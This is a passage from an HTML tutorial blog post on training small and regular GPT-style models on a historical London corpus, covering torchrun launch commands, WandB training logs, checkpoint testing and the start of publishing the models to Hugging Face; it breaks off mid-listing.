&lt;p&gt;Now that we have our data and the tokenizer is ready, it is time to train the model.&lt;/p&gt;
&lt;h2 id=&#34;7-train-the-model&#34;&gt;7. Train the Model&lt;/h2&gt;
&lt;p&gt;With our cleaned historical corpus and custom tokenizer in place, we can now train our language models. The training system is designed to build two identical models with different parameter counts, allowing you to choose between speed (SLM) and quality (Regular model) based on your needs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Training Architecture:&lt;/strong&gt; Both models use a custom GPT architecture specifically optimized for historical text, featuring sophisticated attention mechanisms that understand the complex relationships in historical language. The system includes automatic GPU detection, multi-GPU support, and comprehensive monitoring to ensure optimal training performance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Training Process:&lt;/strong&gt; The training system implements modern optimization techniques, including dynamic learning rate scheduling, automatic checkpointing, and real-time experiment tracking via WandB. The entire process is automated with intelligent configuration that adapts to your hardware setup, whether you&amp;rsquo;re using a single GPU or multiple GPUs for distributed training.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Performance Optimization:&lt;/strong&gt; The system includes precision optimization (TF32, AMP) and memory management specifically tuned for historical text processing. Training typically takes 7-8 hours for the SLM and 28-32 hours for the Regular model on modern hardware, with comprehensive monitoring to track progress and identify any issues. Note, this time can vary significantly based on your hardware. The times mentioned here are based on dual NVIDIA A30s.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📖 For detailed technical implementation&lt;/strong&gt;: Part 3 of this series covers the complete model architecture, GPU configuration, training infrastructure, and performance optimization strategies in detail.&lt;br&gt;
&lt;strong&gt;🧪 Ready to test your checkpoints?&lt;/strong&gt; Once training completes, see section 7.4 for comprehensive instructions on testing your trained model checkpoints.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;71-slm-training&#34;&gt;7.1 SLM Training&lt;/h3&gt;
&lt;p&gt;To kick off the training, the code is quite simple, as shown in &lt;a href=&#34;#listing10&#34; class=&#34;listing-ref&#34;&gt;Listing 10&lt;/a&gt;. Again, this would be from the project root folder. In my case, I am using &lt;code&gt;torchrun --nproc_per_node=2&lt;/code&gt; because I have dual GPUs and I want to use both. If you only have a single GPU, you can just run the automatic GPU detection script. The &lt;code&gt;train_model_slm.py&lt;/code&gt; script specifically trains the SLM (Small Language Model) with 117M parameters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option A: Train SLM (117M parameters) - Faster, Good for Testing&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing10&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clean any existing tokenized data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf data/london_historical/tokenized_data/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Automatic GPU Detection (Recommended)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; 04_training
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./launch_slm_training.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Manual Multi-GPU training&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;torchrun --nproc_per_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; 04_training/train_model_slm.py --data_dir data/london_historical&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 10: Train SLM Model&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Note: The first line &lt;code&gt;rm -rf data/london_historical/tokenized_data/&lt;/code&gt; cleans any existing tokenized data to ensure a fresh start. This is important because the training system caches tokenized data for efficiency, and we want to ensure it uses the latest corpus and tokenizer settings rather than potentially outdated cached data. You want to do this only if you have more updated data from the previous steps.&lt;/p&gt;
&lt;p&gt;Once the training starts, you will see a similar output as the one shown below.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train16.png&#34; alt=&#34;Starting model training&#34; title=&#34;Starting model training&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 10:&lt;/strong&gt; Model training initialization showing configuration and setup&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 10:&lt;/strong&gt; Model training initialization showing tokenization and GPU setup process&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Note the Tokenizing corpus line - this will take some time, depending on your data size and hardware. The tokenized data will be saved in &lt;code&gt;data/london_historical/tokenized_data/&lt;/code&gt; for future runs, so subsequent training runs will be much faster. If you want to force re-tokenization, you can delete this directory and restart the training. And if you think this is hung, you can check the GPU usage using &lt;code&gt;nvtop&lt;/code&gt; in a separate terminal.&lt;/p&gt;
&lt;p&gt;And if you have configured WandB as recommended earlier, then you can log in to that dashboard and also monitor the training progress. This is quite handy when you are away from the machine and see how it is generally progressing.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train6.png&#34; alt=&#34;WanB Training progress&#34; title=&#34;WanB Training progress&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 11:&lt;/strong&gt; Weights &amp; Biases training progress monitoring dashboard&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 11:&lt;/strong&gt; Weights &amp; Biases training dashboard showing real-time loss curves and performance metrics&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;WandB also provides valuable insights into your model&amp;rsquo;s training performance through comprehensive visualizations. The dashboard shows the complete training journey, revealing how your model&amp;rsquo;s loss decreased over time, whether the training plateaued, and how efficiently your hardware was utilized. These visualizations help you understand not just the final results, but the entire learning process - identifying if the model continued improving throughout training or if it reached a performance plateau.&lt;/p&gt;
&lt;p&gt;While these metrics are incredibly useful for optimizing your training process, we&amp;rsquo;ll dive deeper into interpreting these results and fine-tuning your training strategy in Part 3 of this series.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SLM Results (117M parameters):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: Run history:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       eval/iter   ▂▂▃▃▄▄▅▅▆▆▇▇██
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: eval/train_loss  ███▇▇▇▇▇▇▇▇▇▇▇▇
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:   eval/val_loss  ███████▇▇▇█▇▇▇▇
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:    eval/val_ppl  █▇▇▇▇▇▆▆▆▆▆▆▆▆▆
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:     train/dt_ms           █            █                
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/iter      ▂▂▂▂▂▃▃▃▃▃▃▄▄▄▄▄▄▅▅▅▅▅▅▅▆▆▆▆▇▇▇▇▇██
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/loss ▆▅▇▅▅▃▇▄▄█▅▄▅▄▃▇▄▄▅ ▃▃▂▄▅▂▅▂▄▅▃▃▄▅ ▄▃
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:        train/lr ██████████▇▇▇▅▄▄▄▃▃▃▃▃▃▂▂▂▂▂▂           
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       train/mfu ▃▄▇▇█▄▄▆▆▇▅▂▅▆▆▇▇▂▄▅▇▇▇▆▆▇▇▇▇▅███▅▇▆▇▇ ▇
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: Run summary:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       eval/iter 60000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: eval/train_loss 2.74369
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:   eval/val_loss 3.44089
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:    eval/val_ppl 31.21462
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:     train/dt_ms 10217.92054
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/iter 60000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/loss 2.87667
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:        train/lr 3e-05
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       train/mfu 7.50594&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It&amp;rsquo;s also helpful to monitor GPU usage during training. I recommend using &lt;code&gt;nvtop&lt;/code&gt; (a GPU monitoring tool similar to &lt;code&gt;htop&lt;/code&gt; but for NVIDIA GPUs) in a separate terminal to track memory usage, temperature, and utilization in real-time. The screenshot below shows the GPU monitoring during model training.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train16-4.png&#34; alt=&#34;GPU monitoring using nvtop&#34; title=&#34;GPU monitoring using nvtop&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 12:&lt;/strong&gt; GPU monitoring using nvtop showing real-time resource utilization&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 12:&lt;/strong&gt; GPU monitoring during training showing memory usage, temperature, and utilization metrics&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;72-understanding-checkpoints&#34;&gt;7.2 Understanding Checkpoints&lt;/h3&gt;
&lt;p&gt;Throughout training, the system automatically saves checkpoints - snapshots of your model&amp;rsquo;s current state, including all learned parameters, optimizer state, and training progress. These checkpoints serve as safety nets, allowing you to resume training if interrupted, and provide multiple model versions to choose from. The final checkpoint (typically saved at the end of training) represents your fully trained model, ready for inference and deployment.&lt;/p&gt;
&lt;p&gt;Checkpoints are saved in the &lt;code&gt;09_models/checkpoints/&lt;/code&gt; directory, with separate subdirectories for each model type. SLM checkpoints are stored in &lt;code&gt;09_models/checkpoints/slm/&lt;/code&gt; (e.g., &lt;code&gt;checkpoint-4000.pt&lt;/code&gt;, &lt;code&gt;checkpoint-8000.pt&lt;/code&gt;), while regular model checkpoints are saved directly in &lt;code&gt;09_models/checkpoints/&lt;/code&gt; (e.g., &lt;code&gt;checkpoint-60001.pt&lt;/code&gt;, &lt;code&gt;checkpoint-120000.pt&lt;/code&gt;). The checkpoint filenames include the training step number, making it easy to identify the training progress and select the best-performing version for your needs.&lt;/p&gt;
&lt;p&gt;These checkpoints enable two powerful capabilities that significantly enhance your training workflow. You can test your model&amp;rsquo;s current performance at any point during training by running inference on intermediate checkpoints, allowing you to monitor progress without waiting for training to complete. Additionally, suppose training is interrupted due to power loss, system crash, or manual stop. In that case, you can resume from the last saved checkpoint exactly where you left off, saving both time and computational resources. This flexibility is particularly valuable for long training runs, enabling you to experiment with different model versions and recover from unexpected interruptions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🧪 Ready to test your checkpoints?&lt;/strong&gt; See section 7.4 for detailed instructions on testing your trained model checkpoints.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;73-regular-model-training&#34;&gt;7.3 Regular Model Training&lt;/h3&gt;
&lt;p&gt;The Regular model training follows the same process as the SLM, using identical training infrastructure but with different configuration settings. The only differences are the training script (&lt;code&gt;train_model.py&lt;/code&gt; instead of &lt;code&gt;train_model_slm.py&lt;/code&gt;) and the model architecture parameters (354M parameters vs 117M).&lt;/p&gt;
&lt;figure id=&#34;listing11&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clean any existing tokenized data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf data/london_historical/tokenized_data/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Automatic GPU Detection (Recommended)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; 04_training
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./launch_training.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Manual Multi-GPU training&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;torchrun --nproc_per_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; 04_training/train_model.py --data_dir data/london_historical&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 11: Train Regular Model&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Key Differences from SLM:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Training script&lt;/strong&gt;: &lt;code&gt;train_model.py&lt;/code&gt; (instead of &lt;code&gt;train_model_slm.py&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model size&lt;/strong&gt;: 354M parameters (vs 117M for SLM)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Training time&lt;/strong&gt;: 28-32 hours (vs 7-8 hours for SLM)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memory usage&lt;/strong&gt;: Higher VRAM requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: Better text quality, slower inference&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The training infrastructure, checkpointing, WandB integration, and all other features remain identical. The system automatically detects the model type and applies the appropriate configuration from &lt;code&gt;config.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regular Model Results (354M parameters):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: Run history:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       eval/iter     ▂▂▂▂▂▃▃▃▃▃▃▄▄▄▄▅▅▅▅▅▅▅▆▆▆▆▆▇▇▇▇▇▇███
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: eval/train_loss  █████████▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▆▇▆▆▆▆▆▆▆▆▆
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:   eval/val_loss  ███████████████████████████████████▇███
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:    eval/val_ppl  ████▇▇█▇▇▇▇▇▇▇▇▇▆▇▇▇▇▇▇▇▇▆▇▇▆▆▆▆▆▆▆▆
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:     train/dt_ms                  █                      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/iter      ▂▂▂▃▃▃▃▃▄▄▄▄▄▄▅▅▅▆▆▆▆▆▆▆▆▇▇▇▇▇▇▇███
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/loss ▇▆▆▇▇▅▅█▅▄▃▅▅▅▄▇▄▄▄▄▄▃▃▃▅▂▄▅▂▅▂▄▅▃▃▄▅ ▄▃
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:        train/lr ▄██████▇▇▇▇▇▆▆▆▅▅▄▄▄▄▄▄▄▄▃▃▂▂▂          
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       train/mfu ▆▇█▅▄ ▄▆▆▆▇▃▃▂▂▆█▃▃▅▅▃█▅▄▆▇▇▇▇▄▅▃█▆▇█▄▃█
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: Run summary:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       eval/iter 60000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb: eval/train_loss 2.70315
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:   eval/val_loss 3.61921
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:    eval/val_ppl 37.30823
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:     train/dt_ms 24681.64754
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/iter 60000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:      train/loss 2.70629
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:        train/lr 0.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wandb:       train/mfu 7.20423&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;74-testing-your-checkpoints&#34;&gt;7.4 Testing Your Checkpoints&lt;/h3&gt;
&lt;p&gt;Once training is complete, you can immediately test your model using the checkpoints saved during training. This is one of the most exciting parts - seeing the model generate historical text for the first time! The PyTorch checkpoint approach provides immediate testing without any conversion needed, allowing you to test any checkpoint to monitor training progress while preserving the complete model state, including training metadata and optimizer state for fast, optimized inference.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Direct PyTorch Checkpoint Testing:&lt;/strong&gt;
Test your model directly from the training checkpoints without any conversion:&lt;/p&gt;
&lt;figure id=&#34;listing12&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test SLM checkpoint (117M parameters)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_pytorch.py &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --checkpoint 09_models/checkpoints/slm/checkpoint-4000.pt &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test Regular model checkpoint (354M parameters)  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_pytorch.py &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --checkpoint 09_models/checkpoints/checkpoint-60001.pt &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 12: Test Model Checkpoints&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Expected Output:&lt;/strong&gt;
Your trained model will generate authentic historical text like:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;In the year 1834, I walked through the streets of London and witnessed the most extraordinary sight. The Thames flowed dark beneath London Bridge, whilst carriages rattled upon the cobblestones with great urgency. Merchants called their wares from Cheapside to Billingsgate, and the smoke from countless chimneys did obscure the morning sun.&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Testing Different Checkpoints:&lt;/strong&gt;
You can test any checkpoint from your training run to see how the model improved over time. Try testing checkpoints from different training stages to observe the learning progression - early checkpoints will generate more random text, while later checkpoints will produce increasingly coherent historical language.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Pro Tip&lt;/strong&gt;: For published Hugging Face models and community access, see the Quick Start section earlier in this post, where we demonstrated the published SLM model.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;8-publish-to-hugging-face&#34;&gt;8. Publish to Hugging Face&lt;/h2&gt;
&lt;p&gt;Once you&amp;rsquo;ve successfully trained and tested your models, you can publish them to Hugging Face for community access and easy deployment. Publishing makes your models available to researchers, developers, and enthusiasts worldwide, while integrating them into the Hugging Face ecosystem for seamless use with the &lt;code&gt;transformers&lt;/code&gt; library.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Publishing Process:&lt;/strong&gt;
The publishing code automatically handles the complete conversion process from PyTorch checkpoints to Hugging Face format, which is essential for making your trained models accessible to the broader community. This conversion transforms your local training artifacts into a standardized format that can be easily loaded by users worldwide.&lt;/p&gt;
&lt;p&gt;The process includes converting model weights from PyTorch&amp;rsquo;s &lt;code&gt;.pt&lt;/code&gt; format to the more efficient &lt;code&gt;.safetensors&lt;/code&gt; format, generating proper configuration files (&lt;code&gt;config.json&lt;/code&gt;, &lt;code&gt;generation_config.json&lt;/code&gt;) that define the model architecture and generation parameters, uploading the custom tokenizer and all necessary files to ensure complete functionality, creating comprehensive model cards with usage instructions and metadata for easy adoption, and setting up proper model repositories with versioning for educational deployment.&lt;/p&gt;
&lt;p&gt;This conversion is necessary because PyTorch checkpoints are optimized for training workflows and contain additional information like optimizer states that aren&amp;rsquo;t needed for inference, while the Hugging Face format is specifically designed for model sharing and deployment across different environments and hardware configurations.&lt;/p&gt;
&lt;p&gt;We need to call the right script to publish the relevant model - either the SLM or the larger model. The publishing scripts will prompt you for your Hugging Face username and repository name, allowing you to customize where your models are published. The scripts automatically detect and use the latest checkpoint from your training run, so you can publish immediately after training completes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Quick Reference&lt;/strong&gt;: If you want to test published models before publishing your own, see section 2 &amp;ldquo;Use the models - Try it now using Hugging Face&amp;rdquo; for immediate access to pre-trained models.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; You&amp;rsquo;ll need a Hugging Face account and either set the &lt;code&gt;HF_TOKEN&lt;/code&gt; environment variable or provide your token when prompted. The scripts will guide you through the publishing process step by step.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option A: Publish SLM (117M parameters)&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing13&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Publish SLM to Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 10_scripts/publish_slm_to_huggingface.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 13: Publish SLM to Hugging Face&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Option B: Publish Regular Model (354M parameters)&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing14&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Publish Regular model to Hugging Face  &lt;/span&gt;
